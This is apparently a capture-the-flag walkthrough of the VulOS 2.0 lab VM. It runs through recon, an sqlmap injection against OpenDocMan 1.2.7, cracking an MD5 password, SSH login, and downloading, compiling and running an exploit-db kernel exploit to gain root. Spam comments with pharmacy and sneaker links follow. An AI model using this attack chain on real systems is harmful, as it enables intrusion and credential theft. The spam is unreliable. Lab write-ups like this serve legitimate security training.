Hack the VulOS 2.0 VM (CTF Challenge)

“Your assignment is to pentest a company website, get root of the system and read the final flag” is the only thing we know about this VM other than that is it a smaller one. Therefore without any further ado lets starts by finding our target aka victim.
netdiscover

And now we will run nmap to determine what services are running.

So, the services that running is SSH on 22 ports, HTTP on 80 ports, IRC on 6667.
As port 80 is open that means we can open it in browser.

Now there is link on this webpage. Let’s open it and it will link to the following page.

In this webpage there are various tabs and I explored each tab including their page source and I found nothing except for the last tab i.e. Document. When you look into the page source there will be line saying “jabd0cs/ on the server. Just log in with guest/guest.”
So, I opened the directory and logged in with guest:guest as username:password respectively. And there was an upload option but there was a restriction that you can only upload .doc file so it was pretty useless.
If you observe the log in page there is a cms opendocman v1.2.7. this version of opendocman is vulnerable.

Let’s search metasploit for the exploits to be use against opendocman. And for that type:
searchsploit OpenDocMan 1.2.7

Above is the exploit’s detail. Now we will use sqlmap to find out database of usernames and passwords and for that type:
sqlmap –u ‘http://192.168.0.102/jaabcd0cs/ajax_udf.php?q=1&add_value=odm_user’ –dbs

The sqlmap command will show us all the tables in the database.

Including the username and passwords as shown below.

As you can see that the password is in MD5 hash value. We can crack it online no third party tool is needed. Simply go to www.md5decrypt.org
Password turns outs to be webmin1980 with the username of webmin. As we have username and password we can log in through SSH port. And to log in through SSH open a new terminal in kali anfd type:
And then give the password when asked and you will have a session. Let’s check the version of kernel to see if it vulnerable or not.
lsb_release -a
The version is 14.04 that means it can be exploited and we only need to download its exploit from www.exploit-db.com
Type the following command to download it :
wget https://www.exploit-db.com/download/37292
As the exploit is downloaded, now as always we need to move it then compile it and then run it. And for that the set of commands is :
mv 37292 shell.c
gcc –o shell shell.c
./shell
And voila you have reached root but our challenge is not completed here. We still have to find the flag. Once you have reached root then go into the /root directory :
cd /root
Lets check what files and folders it is holding.
ls
And here you will a flag.txt. Read it!
cat flag.txt

Author: Yashika Dhir is a passionate Researcher and Technical Writer at Hacking Articles. She is a hacking enthusiast

Comments

  • ANaiplyblanync
    Trả lời

    Poids est comment poupe votre sang pousse contre les parois de vos arteres lorsque votre coeur essence pompe le sang. Arteres sont les tubes qui transportent prendre offre sang loin de votre coeur. Chaque temps votre coeur bat, il pompe le sang par de vos arteres a la prendre facilement de votre corps.
    https://www.cialispascherfr24.com/achat-cialis-pour-homme-intense/

  • yeezy
    Trả lời

    I simply wanted to write a small remark to say thanks to you for all the magnificent tricks you are posting on this site. My incredibly long internet research has at the end been rewarded with extremely good points to talk about with my family members. I ‘d admit that most of us visitors are undeniably fortunate to live in a good site with so many brilliant professionals with helpful suggestions. I feel quite fortunate to have encountered your entire weblog and look forward to so many more entertaining minutes reading here. Thank you once again for everything.
    yeezy http://tiny.gl/yzy350

  • nike air presto
    Trả lời

    It抯 onerous to find knowledgeable folks on this subject, however you sound like you know what you抮e talking about! Thanks
    nike air presto http://www.nikeprestos.com

  • james harden shoes
    Trả lời

    Your place is valueble for me. Thanks!?
    james harden shoes http://www.hardenshoes.us.com